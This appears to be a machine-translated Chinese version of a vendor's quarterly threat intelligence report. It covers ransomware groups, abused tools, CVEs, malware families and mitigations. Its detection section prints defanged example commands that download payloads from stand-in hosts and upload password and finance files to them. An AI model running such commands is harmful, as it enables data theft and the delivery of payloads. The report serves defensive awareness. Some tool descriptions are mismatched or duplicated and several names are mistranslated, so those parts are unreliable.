国家网络犯罪协调中心（NC3）与国内和国际执法部门、政府合作伙伴、私营企业和学术界密切合作，不断改进加拿大针对网络犯罪的执法对策。除了促进和支持具体的网络犯罪执法行动外，国家网络犯罪协调中心还定期监测网络威胁环境的变化，并对以加拿大为目标的勒索软件运营商进行三年一次的评估。这一系统性评估向网络安全行业通报了网络犯罪生态系统的变化，并有助于引导调查资源。
下表追踪了 2024 年 5 月至 8 月报告期内加拿大最流行的勒索软件威胁，该报告期与本报告期重叠。
-
突出的威胁行为者
本节深入探讨了网络威胁的动态世界，首先分析了最突出的威胁行为者。
-
Salt Typhoon
Salt Typhoon(Earth Estries）是一个与中国国家安全部（MSS）关系密切的复杂威胁行为体，于 2024 年成为公众关注的焦点。该组织利用互联网服务供应商系统中的后门，入侵了美国多家主要电信供应商和互联网服务供应商的系统，而这些后门最初是为了符合法院批准的执法要求而实施的。该组织展示了长期保持隐身状态的先进能力，在这次事件中，它在电信网络中潜伏了一年多而未被发现。
一旦他们在网络中建立了持久性，Salt Typhoon ，他们就能获得大量数据，包括美国司法部的合法拦截窃听名单、通话记录、未加密短信、录音和流经供应商网络的互联网流量。他们将矛头指向备受瞩目的美国政府官员和政治人物，引发了前所未有的应对措施，包括白宫情况室与电信高管的会面，以及联邦机构对移动设备使用的警告。众议院和参议院的国会议员对这些事件表示严重关切，并呼吁美国联邦机构提供有关攻击的进一步信息。请阅读 "通信安全 "部分，更详细地了解关键基础设施面临的威胁。
-
RansomHub
RansomHub（又称 Cyclops 和 Knight）通过 RaaS 模式运营，最近在威胁领域大放异彩。这种运营模式的有效性和成功吸引了多个知名的附属公司，如 LockBit 和 ALPHV，它们执行网络渗透和数据外渗。
RansomHub 采用双重勒索方法。该组织还采用各种技术来禁用或终止端点检测和响应（EDR）解决方案，从而躲避检测，并在被入侵的网络中保持长期存在。自 2024 年 2 月发布以来，RansomHub 已迅速扩张，以关键基础设施领域的 210 多名受害者为目标，并从他们那里窃取了数据。就公开宣称的攻击次数而言，这种快速增长使其跻身于最多产的勒索软件运营商之列。受攻击的行业包括
医疗保健和药房
- 威胁活动：针对医疗服务提供商和药店的勒索软件攻击
- 显著影响：Rite Aid 外泄事件影响 220 万客户（2024 年 7 月）
- 重大关切：敏感患者数据被盗和泄露、处方管理系统中断以及受保护健康信息 (PHI) 遭到破坏
能源与工业
- 威胁活动：针对操作技术和业务系统的复杂攻击。
- 显著影响：一家石油和天然气服务巨头的 IT 系统遭到破坏（2024 年 8 月）
- 关键问题：业务运营中断、供应链中断、发票和采购订单系统受损
非营利和医疗保健服务
- 威胁活动：针对敏感组织数据的数据盗窃活动
- 显著影响：蒙大拿州计划生育协会泄密事件（2024 年 9 月），导致患者机密数据被盗和运营中断
- 重大关切：病人机密信息外泄、侵犯隐私和声誉受损
-
游戏
Play是 2022 年 6 月首次出现的勒索软件集团。Play 已入侵北美、南美和欧洲各行各业的数百家组织，主要集中在美国和加拿大。Play 通常采用双重勒索策略，威胁公布从受害组织窃取的数据。
为了获得对目标系统或网络的初始访问权限，Play 在 Windows 环境中滥用有效账户和易受攻击的面向公众的应用程序。使用 AdFind 等工具绘制网络地图后，他们会使用 PsExec 和 Cobalt Strike 等工具横向移动，并使用 Mimikatz 等其他工具获取域管理员凭据。一旦发现包含敏感信息的设备，该组织就会将文件收集到 .RAR 存档中，然后使用 WinSCP 将其外泄，最后再对掠夺设备上的文件进行加密。
今年 7 月，有人发现 Play 使用了一种新的 Linux 变种勒索软件，这种勒索软件只针对在 VMware ESXi 环境中运行的文件。
-
猎人国际
Hunters International 于 2023 年 10 月首次被发现，与 Hive 勒索软件有明显的相似之处。当 "猎人国际 "的运营商收购了 Hive 集团的恶意软件和基础设施后，他们通过推销增强的功能将自己与 Hive 区分开来。
他们的行动主要集中在双重勒索上，优先考虑数据外渗，并利用窃取的信息迫使受害者支付赎金。该组织还使用 ChaCha20-Poly1305 和 RSA Optimal Asymmetric Encryption Padding (OAEP) 对文件进行加密，导致文件的扩展名被标记为".LOCKED"。
典型的攻击链始于网络钓鱼活动或利用漏洞。该组织以制造业、医疗保健和教育等一系列行业为目标，采取机会主义的方法，不特别关注任何特定地区或行业，入侵目标遍及北美、欧洲和非洲。SharpRhino 是他们武器库中的一个重要工具，它是一个伪装成合法软件的后门，通过执行一系列命令和尝试终止通常与系统恢复相关的特定服务和进程，与激进措施一起用于瘫痪备份系统。
在过去的一个季度里，"猎人国际 "确实非常活跃，针对各种类型的组织、行业和地理区域，凸显了其适应性和广泛的威胁潜力。猎杀者国际公司以其令人唾弃的策略而闻名，即在受害者成功从备份恢复系统但未支付赎金的情况下，再次感染他们自己的勒索软件或其他变种勒索软件。
-
Meow Leaks | MeowCorp
Meow Leaks是一个威胁组织，可能与 2022 年作为 Conti 勒索软件变种出现的 Meow 勒索软件组织（也被追踪为 MeowCorp 和 Meow2022）有联系。这个新的 Meow 组织于 2023 年末出现，主要通过一个基于 Tor 的同名网站 "Meow Leaks "出售窃取的数据。
Meow 声称自己并不从事勒索软件的交易；该组织在一次采访中公开表示，他们与康帝公司没有任何关系，目前也与 MeowCorp 没有任何关联。尽管如此，这个新组织有可能缺乏开发勒索软件的专业知识，其有限的暗网受害者名单反映了这一理论，该名单迄今为止主要集中在美国的目标上，尽管它也有一些国际受害者。这将他们归类为主要基于勒索的威胁组织，因为他们不能依靠加密原始数据来迫使受害者支付赎金。
不管他们与最初的勒索软件集团有什么联系，新的 Meow Leaks 威胁集团在本季度的活动明显激增，他们不断增长的泄密网站就是证明。安全研究人员在 3 月份发布了一款名为RakhniDecryptor的免费解密器，供 MeowCorp 的受害者使用。该解密工具可以解密扩展名为 .KREMLIN、.RUSSIA 和 .PUTIN 的文件。(MeowCorp 之前使用基于 Conti 的加密工具发动的攻击最初针对的是俄罗斯组织）。
-
麒麟
Qilin是一个 RaaS，自 2022 年以来一直活跃在全球医疗保健和其他各行各业。该公司最初于 2022 年 7 月以 "Agenda "的名称推出，后改名为 "Qilin"，目前以此名称运营。
Qilin 勒索软件包括用 Golang 和 Rust 编写的变种，通常通过鱼叉式网络钓鱼攻击获得受害者的初始访问权限。该组织利用远程监控和管理 (RMM) 工具以及 Cobalt Strike 进行二进制部署。在攻击过程中，Qilin 会定位目标的域控制器并执行凭证采集脚本，该脚本专门针对谷歌 Chrome 浏览器中已验证用户的存储密码。Qilin 以其双重勒索策略而著称，它要求支付赎金，以防止被盗数据的公开披露。
-
锁定位
LockBit 是一个与俄罗斯有关联的知名网络犯罪集团，专门通过其同名恶意软件提供 RaaS。该组织的操作人员兢兢业业地维护和升级勒索软件，监督谈判，并在成功入侵后精心策划其部署。LockBit 采用双重勒索策略，不仅加密本地数据以限制受害者访问其文件，而且还外泄敏感信息，威胁除非支付赎金，否则就会公开数据。
-
威胁行为者滥用的最多工具
AnyDesk、PowerShell 和 Cobalt Strike 等工具对数据管理、渗透测试和系统维护至关重要。它们的灵活性和可访问性也使其成为威胁行为者滥用的有用工具。
-
AnyDesk
AnyDesk是一款远程桌面应用程序，旨在为用户提供远程访问和技术支持，促进加密访问和文件传输。AnyDesk 是一种合法的实用程序，但却被Akira 勒索软件组织等威胁行为者滥用于 C2 和数据渗入。 -
PowerShell
Microsoft PowerShell 是一种功能强大的命令行外壳和脚本语言，设计用于自动执行任务和管理 Windows 系统。它被全球的管理员和安全专业人员广泛使用，支持日常任务、系统管理和安全事件响应的自动化。然而，它的多功能性也使其成为攻击者滥用的目标，攻击者可以利用 PowerShell 获得未经授权的访问权限并执行恶意代码。真正的危险在于 PowerShell 能够从磁盘和直接在内存中运行脚本，从而实现难以检测的"无文件 "恶意软件攻击。
-
钴罢工
Cobalt Strike是一个复杂的对手模拟框架，经过精心设计，可以在网络环境中复制威胁角色的持续存在。Cobalt Strike围绕两个关键组件--代理（信标）和服务器（团队服务器）--实现了无缝互动。Cobalt Strike团队服务器作为互联网上的长期C2服务器，与部署在受害者机器上的信标有效载荷保持持续通信。
虽然 Cobalt Strike 主要被渗透测试人员和红队人员用作评估网络安全状况的合法工具，但它也被威胁行为者用于邪恶目的。它的代码在网上泄露的情况也时有发生，导致它被各种对手迅速武器化。这种双重性质凸显了保持警惕和采取强有力的网络安全措施以降低滥用风险的重要性。
-
WinSCP
WinSCP（Windows 安全拷贝）是一款免费的开源客户端，用于 SFTP、FTP、WebDAV 和 SCP 协议，专为 Microsoft Windows 设计。它可在本地和远程计算机之间安全传输文件，利用 SFTP 等加密协议确保数据安全。不过，它的功能也使其成为威胁行为者的首选工具。攻击者可利用 WinSCP 偷偷外泄大量数据，将恶意软件上传到目标服务器以进一步入侵系统，并获取远程访问权限以执行任意命令或部署其他恶意软件，从而保持对入侵系统的持久控制。
在CylanceMDR 威胁和缓解措施部分，我们的CylanceMDR 团队审查了客户环境中最常用的外泄工具。该团队发现，在客户系统中最常被滥用的外泄工具中，WinSCP 占了 51%。
新兴群体聚焦 - Lynx 勒索软件
Lynx勒索软件集团于 2024 年 7 月首次出现在威胁环境中，并在随后几个月内迅速积累了超过 25 名受害者。目标组织遍布各行各业，主要分布在北美和欧洲。
什么是凌云集团？
与当今许多勒索软件运营商一样，Lynx 集团使用双重勒索策略。在非法访问系统或网络后，他们首先会流出敏感数据，然后对其进行加密，使所有者无法访问。然后，他们威胁说，如果不支付赎金，就会公开发布数据。当一个组织被 Lynx 入侵时，该组织会在泄密网站上发布一篇博文--可通过公共互联网或暗网访问，有时也可同时访问--"点名羞辱 "受害者。
Lynx 瞄准的行业和地区
山猫如何运作
Lynx 同时拥有一个表面网站和一个深层网络泄密网站，以及一系列位于".onion "地址的镜像网站--据推测，这是为了确保在执法部门将其网站下线时的正常运行时间。他们还使用自己的加密器，经黑莓研究人员仔细检查，该加密器似乎与臭名昭著的 INC Ransom 组织使用的加密器采用了相同的代码库。
迄今为止，已在野外发现了少量与 Lynx 组织使用的加密器有关的样本。所有样本似乎都是用 C++ 编写的，缺乏任何形式的包装或混淆以阻碍分析。
一旦实现了加密前的目标，如获得初始访问权和数据外渗，勒索软件就会被部署到受害者的环境中。勒索软件本身设计为通过命令行控制台执行，支持多个可选参数。这使得攻击者可以自定义文件加密方法，以实现其目标。
执行时，该恶意软件还支持"--verbose "模式，可打印勒索软件动态运行时的操作列表。
为了防止受害者的设备无法运行，恶意软件会省略某些文件类型和 Windows 文件夹的加密。这样做有两个目的，一是加快加密速度，二是防止重要的 Windows 程序无法访问，因为这将使设备 "变砖"，破坏该组织勒索赎金的机会。
有关这一新兴威胁的详细分析，请阅读我们关于 Lynx 的完整报告。
-
风险缓解战略
新的威胁和威胁团体不断演变，带来新的挑战。旨在保护其数字资产的组织必须采取全面的网络安全战略，在员工培训的同时采取强有力的缓解措施。在此，我们将探讨可用于挫败 Lynx 勒索软件集团等网络威胁的几项关键策略。
-
基础设施保护
实施网络分段是遏制潜在漏洞的基础步骤。
- 策略：通过根据系统分类策略将网络划分为不同的网段，企业可以创建阻塞点，从而限制攻击者的行动能力，延长保护时间，为侦测对手创造更多机会。
- 实例：一家大型医疗服务提供商通过将病人数据服务器与通用网络隔离，挫败了一次网络攻击，即使网络的其他部分受到攻击，也能确保关键数据的安全。
-
备份解决方案
各组织应在无法从主网络访问的独立备份基础设施中保存最新的离线数据副本。
- 策略：维护独立的备份基础设施。
- 举例说明：一家全球性制造公司成功采用了这种方法，该公司定期进行数据快照并离线存储，即使在遭受勒索软件攻击后也能确保数据的完整性和可用性。
-
检测和响应能力
各组织应监控特定指标；在 Lynx 攻击中，应监控是否出现".LYNX "等文件扩展名或创建名为 "README.txt "的文件，这是赎金说明的典型文件名。
- 策略：预警系统可以检测到不寻常的数据传输模式或大量文件修改，从而对潜在的漏洞做出快速反应。
- 实例：一家金融机构部署了端点检测和响应系统，可在下班后对未经授权访问其备份系统的行为进行标记，从而避免了重大数据泄露事件的发生。
-
门禁监控和管理
访问管理是一种安全实践，重点是控制和监控对组织内系统、资源和数据的访问。 实施全面的访问控制监控可帮助组织检测和防止对关键系统的未经授权访问尝试。
- 策略：对敏感系统和数据的所有访问尝试进行详细记录。定期查看访问日志中的可疑模式。对异常访问行为实施自动报警。维护严格的访问控制列表 (ACL)，定期审核用户权限。
- 实例：一家金融服务公司通过监控系统识别不寻常的访问模式，从而检测并防止潜在的数据泄露，该系统可标记出授权用户账户在正常工作时间外的多次失败登录尝试。
-
事件响应规划
一个定义明确的事件响应（IR）计划能让企业对网络安全事件做出快速有效的反应，最大限度地减少潜在的损失和恢复时间。
- 策略：制定详细的事件响应程序，确立明确的角色和职责，维护主要利益相关者和外部资源（执法部门、事件响应公司）的最新联系名单，并定期进行桌面演练，以测试响应效果。
- 举例说明：一家制造公司可能会在数小时内控制勒索软件事件，方法是遵循其经过测试的事件响应计划，其中包括即时系统隔离程序和与事件响应团队预先建立的沟通渠道。
-
供应链安全
评估可访问网络的关键产品的安全状况至关重要。
- 策略：实施供应链风险管理计划，对可访问关键系统的产品进行安全测试，并定期审查第三方访问权限，以降低供应链风险。
- 举例说明：一家制药公司可以通过进行全面的安全评估，确保所有合作伙伴都遵守严格的网络安全标准，从而提高供应链的安全性。
-
成熟的防御技术
在关键系统上使用 EDR 解决方案、电子邮件过滤和应用程序白名单等先进的安全技术，可以大大增强组织的安全态势。
- 策略：建立持续的网络监控和威胁捕猎能力。
- 示例：一家电信公司通过主动猎杀威胁，识别并消除了一个高级持续性威胁 (APT)。
运行安全措施
定期的安全意识培训对于培养警觉的组织文化至关重要。应重点关注网络钓鱼防范、凭证安全和远程访问安全等主题。
- 策略：实施 "发现红旗 "培训计划，员工会收到包含常见欺骗要素的模拟网络钓鱼电子邮件，随后会收到解释每个可疑指标的即时教育反馈。跟踪员工的回复率，并根据个人绩效指标提供有针对性的后续培训。
- 实例：一家国际零售商通过启动全面的培训计划和强大的补丁管理系统来及时处理漏洞，从而大大减少了网络钓鱼事件。
- 只需一名员工点击恶意链接，就会危及组织的系统和基础设施。下面是一个网络钓鱼信息示例，供您在培训中参考。
- 发件人的电子邮件地址声称来自 "linkedincdn.com"，而不是 LinkedIn.com 官方域名--这是一种典型的域名欺骗技术。
- 有一个警告标语显示这是来自外部的信息。这是一个有用的安全功能，许多组织都会选择实施。
- 这条信息使用了两种经典的社交工程策略。它声称自己来自目标组织的高层管理人员（CISO），并使用奉承（"久仰您的大名"）来鼓励目标参与。
- 副本的格式不统一：拼写和语法不规范的地方随处可见。
- 虽然个人资料照片让人觉得是真实的，但任何人只要知道如何右击并选择 "图片另存为"，就能轻易地从合法的个人资料上复制这些照片。
- 这封邮件的整体外观模仿了社交媒体网站向用户发送的常见自动邮件。
- 接受 "和 "查看个人资料 "按钮很可能是恶意链接，可能会导致凭证收集页面或恶意软件下载。
- 底部的 "退订 "链接也可能是恶意的。网络钓鱼者通常会加入这些链接，使其看起来合法，但实际上会将用户引向更多有害内容。
帮助员工学会
- 仔细核实发件人的电子邮件域名。
- 对不请自来的连接请求，尤其是来自高层管理人员的请求，要保持怀疑。
- 切勿点击可疑电子邮件中的按钮或链接，而应直接在浏览器中输入 URL 访问引用的网站。
- 注意电子邮件系统发出的安全警告。
- 要警惕意外的职业网络请求中的奉承或急迫性。
网络犯罪分子不断改进他们的网络攻击，以增强其影响力。为了抵御这些不断变化的威胁，企业必须采取前瞻性的网络安全防御策略。这包括对安全监控、员工培训和事件响应等技术进行战略性投资，以确保为应对复杂的网络威胁做好准备。
CylanceMDR:威胁与缓解措施
组织面临的威胁不仅来自威胁者的恶意软件，还来自合法工具的滥用。本节重点介绍 CylanceMDR™ 团队本季度在客户网络环境中遇到的最普遍威胁，以及组织可用于加强网络防御的缓解措施。
CylanceMDR是我们基于订阅的 MDR 服务，提供全天候监控，通过填补安全环境中的空白，帮助组织阻止复杂的网络威胁。
LOLBAS 活动
LOLBAS 是指攻击者可以出于恶意目的滥用的内置 Windows 系统工具和合法可执行文件。所谓 "就地取材"，是指使用目标环境（"地"）中已有的工具，而不是冒险引入新的恶意软件，因为新的恶意软件可能会触发安全系统并提醒目标已被入侵。基于 LOLBAS 的攻击的危险性在于它们能够绕过安全控制，因为它们使用的是合法的系统工具。这就给检测带来了挑战，因为系统活动乍一看可能是正常的。
在本报告所述期间，观察到以下 LOLBAS 活动：
- Bitsadmin 仍然是被观察最多的 LOLBAS。
- Certutil 的使用率位居第二，但自上一报告期以来有所下降。
- 此外，还观察到 Regsvr32、MSHTA 和 PsExec，但在总体活动中所占比例较低。
下面，我们举例说明恶意使用 LOLBAS 的情况。
图 14：2024 年 7 月至 9 月的 LOLBAS 活动。
文件： Bitsadmin.exe
MITRE ATT&CK ID: T1197 | T1105
How It Can Be Abused: Download/upload from or to malicious host (Ingress tool transfer). Can be used to execute malicious process.
Example Command-Line:
bitsadmin /transfer defaultjob1 /download hxxp://baddomain[.]com/bbtest/bbtest C:\Users\<user>\AppData\Local\Temp\bbtest
文件： mofcomp.exe
MITRE ATT&CK ID: T1218
How It Can Be Abused: Can be used to install malicious managed object format (MOF) scripts.
MOF statements are parsed by the mofcomp.exe utility and will add the classes and class instances defined in the file to the WMI repository.
Example Command-Line:
mofcomp.exe \\<AttackkerIP>\content\BBwmi[.]mof
渗透工具
渗透工具是用于将数据传输出目标环境的软件，通常用于恶意目的。本季度，CylanceMDR 团队审查了客户环境中最常见的可用于外渗的工具（不包括 RMM 工具）。
图 15：2024 年 7 月至 9 月被滥用的外泄工具百分比。
WinSCP
说明WinSCP 是一款文件传输客户端；PuTTY 是一款安全外壳（SSH）客户端。
命令行示例：winscp.exe scp://test：P@ss123[at]EvilHost[.]com:2222/ /upload passwords.txt /defaults=auto
注：常用于图形用户界面（GUI）。
斜切工具 ID：T1048
PSCP
描述PuTTY Secure Copy Protocol（PSCP）是一款用于传输文件和文件夹的命令行工具。
命令行示例： pscp.exe -P 22 C:\Finances.txt root[at]EvilDomain/tmp
斜切接头 ID：T1021.004T1021.004
FileZilla
简介FileZilla 是一款著名的文件传输协议 (FTP) 工具，可用于各种操作系统。
命令行示例：filezilla.exe -u "ftp://test:p@ss1234[at]ftp.test[.]com" -e "put passwords.txt /remote_directory/pass.txt"
斜切铆钉和铆钉 ID：T1071.002T1071.002
FreeFileSync
描述PuTTY Secure Copy Protocol（PSCP）是一款用于传输文件和文件夹的命令行工具。
命令行示例：pscp.exe -P 22 C:\Finances.txt root[at]EvilDomain/tmp
斜切接头 ID：T1021.004T1021.004
Rclone
说明FreeFileSync 是一款同步工具，可用于管理备份。
命令行示例：FreeFileSync.exe google_drive_sync.ffs_batch
Note: The batch file will contain information regarding the file/folder and the location of the GDrive folder e.g., <Left Path=“C:\sensitiveFiles” /> <Right Path=“D:\GoogleDriveFolder” />
斜切工具 ID：T1567.002T1567.002
远程监控和管理工具
威胁行为者滥用 RMM 工具。这些工具为攻击者提供了一种简便的方法来保持对系统的持久、简单访问，并提供了一种有效的数据外渗手段。正如我们之前的《全球威胁情报报告》所指出的，这是勒索软件组织增长最快的类别，他们利用这些工具从受害者环境中窃取数据。在本报告所述期间，CylanceMDR 团队查看了客户环境中最常被利用的 RMM 工具。
在分析过程中，我们注意到许多客户在其环境中使用多种 RMM 工具，从而增加了组织的攻击面和风险。
图 16：该图表说明了通过滥用主要 RMM 工具实施攻击的百分比。
建议采取的缓解措施包括
1.审计远程访问工具
- 确定组织内当前使用的 RMM 工具。
- 确认它们在环境中得到批准。
- 如果使用多种 RMM 工具，确定是否可以合并。减少使用不同工具的数量可降低风险。
2.禁用端口和协议
- 阻止与未经批准的远程访问工具相关的常用端口的入站和出站网络通信。
- 在防火墙规则和应用程序控制方面，使用默认的拒绝规则和允许列表，而不是阻止列表方法。
3.监控端点活动和网络流量
- 检测远程访问工具的异常使用。
4.修补
- 确保定期审查与允许使用的 RMM 工具相关的漏洞，并在必要时进行更新。
- 在执行定期补丁周期时，优先考虑可访问互联网的系统。
5.网络分割
- 通过分割网络、限制对设备和数据的访问，最大限度地减少恶意横向移动。
6.设备标签
- 了解您的安全供应商是否提供标记使用 RMM 工具的设备的选项。如果有，请启用此选项，以确保您的 SOC 具有可见性。有些供应商提供的选项可留下备注/标记，以识别经批准的工具/活动，这对分析人员在调查过程中大有裨益。
7.内存加载 RMM
- 使用能检测到只在内存中加载的远程访问的安全软件。
CylanceMDR 季度最大威胁
亮点：黑莓事件响应小组发出的警报
BlackBerry 事件响应 (IR) 团队为遭受恶意软件攻击或疑似数据泄露的组织提供缓解措施。本季度，我们的 IR 团队发现，涉及互联网连接服务和滥用前员工凭证的攻击事件有所增加。
本季度，VPN 设备等面向互联网的设备比往常更容易成为攻击目标。不幸的是，这些设备可能没有足够的多因素身份验证。在某些情况下，由于缺乏多因素身份验证，威胁者得以在客户环境中部署勒索软件或其他恶意软件，并外泄公司数据。这突出表明，企业需要及时妥善保护所有暴露在互联网上的系统（MITRE - 外部远程服务），并尽可能利用零信任网络访问 (ZTNA) 解决方案等现代替代方案减少攻击面。
滥用前员工的账户凭证是另一种常见的漏洞。虽然一旦员工离职，就应立即删除其账户凭证，但这种情况并不总是发生。旧账户有可能让威胁者完全访问组织的网络和系统。因此，公司有必要在所有系统中实施强大的身份验证安全控制（MITRE - 有效账户）。
常见漏洞和风险
影响和统计数据
通用漏洞和暴露（CVEs）系统提供了一个用于识别、规范和公布已知安全漏洞和暴露的框架。从 2024 年 7 月到 9 月，美国国家标准与技术研究院（NIST）报告了 8659 个新的 CVE。
尽管本季度发现的CVE比上季度有所减少，但这些CVE的严重程度却显著提高。上一季度，8% 的 CVE 的严重性达到或超过 9.0 分，而本季度这一比例上升到 14% 的新高。
图 18：2024 年 7 月至 9 月的 CVE 评分。
本季度记录的最重要的 CVE：
CVE-2024-4879 (9.3 严重) 任意代码执行：此 ServiceNow 漏洞允许未经身份验证的用户在 Now Platform 中远程执行代码。它涉及利用 ServiceNow UI 宏的 Jelly 模板注入漏洞。此漏洞有可能与CVE-2024-5178 (6.9 Medium) 未授权访问和 CVE-2024-5217 (9.2 Critical) 任意代码执行连锁，在 ServiceNow MID 服务器上实现未授权远程代码执行。
CVE-2024-43491 (9.8 严重) 任意代码执行：该漏洞与 Microsoft 的服务栈有关，重新引入了 Windows 10 中先前已缓解的漏洞。该漏洞允许在无用户交互的情况下远程执行代码，可能导致整个系统被入侵。已发布服务栈更新和 Windows 安全更新来修补此漏洞。
CVE-2024-38194 (9.9 严重) 身份验证绕过：此漏洞源于 Azure 网络应用程序中的不当授权，允许通过身份验证的攻击者通过网络提升权限。如果被利用，可能会危及应用程序和连接系统的安全，导致未经授权的数据访问、服务中断或恶意修改应用程序行为。
CVE-2024-21416 (9.8 严重) 任意代码执行：此漏洞與 Windows TCP/IP 遠端執行程式碼 (RCE) 漏洞有關，攻擊者可利用此漏洞在目標系統上執行任意程式碼，並可能取得完整存取權限。
CVE-2024-47575 (9.8 Critical) 身份验证绕过：在报告期外披露的名为 "FortiJump "的漏洞，被追踪为CVE-2024-47575，涉及新披露的威胁行为者UNC5820的零日攻击。它滥用了执行 API 命令的缺陷，允许攻击者绕过身份验证并在可利用系统上执行命令。Fortinet 在 10 月份发布的公告中指出，该漏洞 "可能允许远程未认证攻击者通过特制请求执行任意代码或命令"。
按平台划分的普遍威胁：视窗
FakeUpdates/SocGholish
下载器
基于 JavaScript 的下载程序，可向用户提供虚假的浏览器更新。已知可下载其他有效载荷，包括 AZORult、GootLoader 和 RedLine。
Formbook/xLoader
信息窃取者
复杂的恶意软件，既是信息窃取程序，又是下载程序。利用反虚拟机技术、进程注入和自定义加密程序绕过网络安全防御系统。从浏览器、电子邮件客户端和各种应用程序中窃取数据。
QakBot
僵尸网络/下载器
于 2008 年首次发现，现为 5.0 版本。提供广泛的数据渗透和横向移动能力。安装后可传播多种恶意软件。
特斯拉特工
信息窃取者
基于 .NET 的信息窃取程序，作为 MaaS 出售，主要用于获取凭证。尽管 2023 年 FBI/DOJ 基础设施被攻破，但它凭借新的持久性机制再次出现，在主机恢复后仍能存活。
njRAT
远程访问木马
RAT 专注于捕获用户数据，其功能包括摄像头访问、凭证窃取、文件交互监控和按键记录。
AsyncRAT
远程访问木马
通常与其他恶意软件一起发送。接收 C2 服务器命令，获取用户数据并终止特定进程。具有僵尸网络功能。
LummaC2
信息窃取者
基于 C 语言的信息窃取程序，以商业企业和关键基础设施组织为目标。重点是敏感数据外泄，通过地下论坛和 Telegram 群组传播。
雷姆科斯
远程访问木马
远程控制和监视应用程序，专为未经授权的远程访问和设备控制而设计。
红线
信息窃取者
利用各种应用程序和服务外泄受害者数据，包括信用卡信息、密码和 cookies。
按平台划分的普遍威胁：Linux
未来
僵尸网络
仍然非常活跃，最新版本利用了闭路电视摄像头的零日漏洞。Corona "变种通过在被入侵的摄像头中注入恶意代码进行传播。
加夫吉特/巴什莱特
僵尸网络
以物联网为重点的 Linux 僵尸网络使用 C2 服务器进行大规模 DDoS 攻击。最新版本针对的是 GPU 加密挖矿的 SSH 弱密码。
播放勒索软件
勒索软件
专门针对 ESXi 环境的新变种，标志着该组织从之前以 Windows 为重点的双重勒索攻击首次扩展到 Linux 系统。选择性加密 Linux ESXi 环境中的文件。
哈杜肯
僵尸网络
新型 Linux 恶意软件将加密挖矿功能与 DDoS 攻击工具相结合。目标是包括 Oracle WebLogic Server 在内的系统漏洞。
按平台划分的普遍威胁：MacOS
原子窃取器（AMOS）
信息窃取者
新变种伪装成各种应用程序，通过 DMG 磁盘映像分发。目标包括密码、浏览器 cookie、自动填充数据、加密钱包和 Mac 钥匙串数据。
Chtulu
信息窃取者
基于 MaaS 的信息窃取程序，以木马 DMG 的形式分发。感染后的活动包括获取钥匙串密码、浏览器 cookie、Telegram 账户信息、加密货币钱包和用户数据供 C2 服务器上传。
Macma
后门
最近的更新归功于中国 APT 组织 Evasive Panda。在向 C2 服务器部署键盘记录器和媒体捕获功能以进行数据外渗之前，先建立持久性。
TodoSwift
下载器
通过比特币定价 PDF 诱饵分发。归属于朝鲜组织 BlueNoroff，可通过 C2 服务器连接下载其他恶意二进制文件。
按平台划分的普遍威胁：安卓
亡灵木马
下载器
通过 Google Play 商店和恶意软件开发工具包 (SDK) 散布。功能包括启动隐形广告、下载附加有效载荷、安装第三方应用程序、执行附加代码和 C2 服务器通信。
Octo2
信息窃取者
通过木马化版本的 NordVPN 和 Google Chrome 浏览器传播。Exobot 变种，主要针对银行账户信息，具有远程访问功能和 C2 服务器通信功能。
阿吉纳
信息窃取者
通过社交工程和网络钓鱼传播，尤其是通过 Telegram。窃取银行凭证和短信数据，拦截银行应用程序的 2FA 身份验证。
MITRE 常用技术
了解威胁组织的高级技术有助于决定优先使用哪些检测技术。在本报告所述期间，黑莓观察到威胁行为者使用了以下 20 种技术。
图 19：2024 年 6 月至 9 月观察到的前 20 种 MITRE 技术。
检测到的技术
下表显示了本季度威胁行为者使用的前 20 种技术。变化 "一栏中的向上箭头（↑）表示该技术的使用率自上次报告以来有所增加。向下箭头（↓）表示自上次报告以来该技术的使用率有所下降。等号（=）表示该技术与上次报告中的位置相同。
| 技术名称 | 技术 ID | 战术名称 | 最新报告 | 改变 |
|---|---|---|---|---|
|
劫持执行流程
|
T1574
|
持久性、特权升级、防御规避
|
1
|
=
|
|
DLL 侧加载
|
T1574.002
|
持久性、特权升级、防御规避
|
2
|
=
|
|
虚拟化/
沙盒规避 |
T1497
|
辩护回避，发现
|
NA
|
↑
|
|
发现系统信息
|
T1082
|
发现
|
5
|
↑
|
|
输入捕捉
|
T1056
|
凭证访问，收集
|
4
|
↓
|
|
软件发现
|
T1518
|
发现
|
6
|
=
|
|
发现安全软件
|
T1518.001
|
发现
|
7
|
=
|
|
预定任务/工作
|
T1053
|
执行、持久性、权限升级
|
19
|
↑
|
|
DLL 搜索顺序劫持
|
T1574.001
|
持久性、特权升级、防御规避
|
NA
|
↑
|
|
工艺注入
|
T1055
|
逃避辩护、特权升级
|
3
|
↓
|
|
伪装
|
T1036
|
防御回避
|
10
|
↓
|
|
过程探索
|
T1057
|
发现
|
8
|
↓
|
|
创建或修改系统流程
|
T1543
|
持久性、特权升级
|
NA
|
↑
|
|
视窗服务
|
T1543.003
|
持久性、特权升级
|
NA
|
↑
|
|
启动或登录自动启动执行
|
T1547
|
持久性、特权升级
|
14
|
↓
|
|
注册表运行键值/启动文件夹
|
T1547.001
|
持久性、特权升级
|
15
|
↓
|
|
文件和目录发现
|
T1083
|
发现
|
9
|
↓
|
|
远程系统发现
|
T1018
|
发现
|
13
|
↓
|
|
命令和脚本解释器
|
T1059
|
执行
|
NA
|
↑
|
|
损害防御
|
T1562
|
防御回避
|
17
|
↓
|
| 技术 ID | |
|---|---|
| 劫持执行流程 |
T1574
|
| DLL 侧加载 |
T1574.002
|
|
虚拟化/ 沙盒规避 |
T1497
|
| 发现系统信息 |
T1082
|
| 输入捕捉 |
T1056
|
| 软件发现 |
T1518
|
| 发现安全软件 |
T1518.001
|
| 预定任务/工作 |
T1053
|
| DLL 搜索顺序劫持 |
T1574.001
|
| 工艺注入 |
T1055
|
| 伪装 |
T1036
|
| 过程探索 |
T1057
|
| 创建或修改系统流程 |
T1543
|
| 视窗服务 |
T1543.003
|
| 启动或登录自动启动执行 |
T1547
|
| 注册表运行键值/启动文件夹 |
T1547.001
|
| 文件和目录发现 |
T1083
|
| 远程系统发现 |
T1018
|
| 命令和脚本解释器 |
T1059
|
| 损害防御 |
T1562
|
| 战术名称 | |
|---|---|
| 劫持执行流程 |
持久性、特权升级、防御规避
|
| DLL 侧加载 |
持久性、特权升级、防御规避
|
|
虚拟化/ 沙盒规避 |
辩护回避，发现
|
| 发现系统信息 |
发现
|
| 输入捕捉 |
凭证访问，收集
|
| 软件发现 |
发现
|
| 发现安全软件 |
发现
|
| 预定任务/工作 |
执行、持久性、权限升级
|
| DLL 搜索顺序劫持 |
